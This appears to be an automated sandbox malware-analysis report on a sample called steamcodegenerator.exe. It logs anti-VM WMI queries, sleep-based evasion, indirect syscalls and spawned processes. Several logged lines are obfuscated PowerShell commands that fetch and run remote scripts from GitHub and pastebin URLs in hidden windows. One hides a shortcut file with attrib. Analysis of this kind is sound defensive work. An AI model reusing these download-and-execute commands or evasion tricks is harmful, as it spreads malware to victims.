Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588047	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590750	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591110

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3593	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1673	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4226	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2140	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1054	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 613	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4592	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1458	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 970
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5074
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2523

Source: C:\Users\user\Desktop\steamcodegenerator.exe

API coverage: 8.3 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7680	Thread sleep count: 3593 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7684	Thread sleep count: 1673 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7728	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7700	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7884	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7816	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7932	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -588047s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7272	Thread sleep count: 1054 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7308	Thread sleep count: 613 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5284	Thread sleep count: 4592 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2032	Thread sleep count: 1458 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5812	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2180	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4444	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4480	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5812	Thread sleep time: -590750s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1744	Thread sleep count: 970 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3428	Thread sleep count: 313 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7300	Thread sleep count: 192 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7672	Thread sleep count: 5074 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3052	Thread sleep count: 2523 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1052	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7752	Thread sleep count: 38 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 744	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7752	Thread sleep count: 199 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7752	Thread sleep count: 63 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7768	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1420	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1052	Thread sleep time: -591110s >= -30000s

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor

Source: C:\Users\user\Desktop\steamcodegenerator.exe

Code function: 0_2_00007FF663560478 FindFirstFileExW,

0_2_00007FF663560478

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588047	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590750	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591110

Source: steamcodegenerator.exe, 00000000.00000002.3629347869.0000022AF30DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: steamcodegenerator.exe, 00000000.00000002.3629347869.0000022AF308D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\steamcodegenerator.exe

Code function: 0_2_00007FF66354998C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF66354998C

Source: C:\Users\user\Desktop\steamcodegenerator.exe

Code function: 0_2_00007FF66356483C GetProcessHeap,

0_2_00007FF66356483C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_00007FF663549B30 SetUnhandledExceptionFilter,	0_2_00007FF663549B30
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_00007FF66354998C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF66354998C
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_00007FF663551D58 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF663551D58
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_00007FF6635495DC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF6635495DC

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\steamcodegenerator.exe	NtMapViewOfSection: Indirect: 0x22AF4E1835D	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	NtMapViewOfSection: Indirect: 0x22AF4E1889A	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	NtUnmapViewOfSection: Indirect: 0x22AF4E1882E	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" sal notpad iEx; sal $env:os iWr; notpad(windows_nT raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\attrib.exe "C:\Windows\system32\attrib.exe" +s +h "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"

Source: C:\Users\user\Desktop\steamcodegenerator.exe

Code function: 0_2_00007FF663568F80 cpuid

0_2_00007FF663568F80

Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00007FF663564524
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: EnumSystemLocalesW,	0_2_00007FF66355B378
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00007FF663564340
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: GetLocaleInfoW,	0_2_00007FF6635643F0
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00007FF663563ADC
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: GetLocaleInfoW,	0_2_00007FF6635641E8
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00007FF663563FA0
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: GetLocaleInfoW,	0_2_00007FF66355B7F8
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: EnumSystemLocalesW,	0_2_00007FF663563E38
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: EnumSystemLocalesW,	0_2_00007FF663563F08

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft OneDrive\FileSync VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
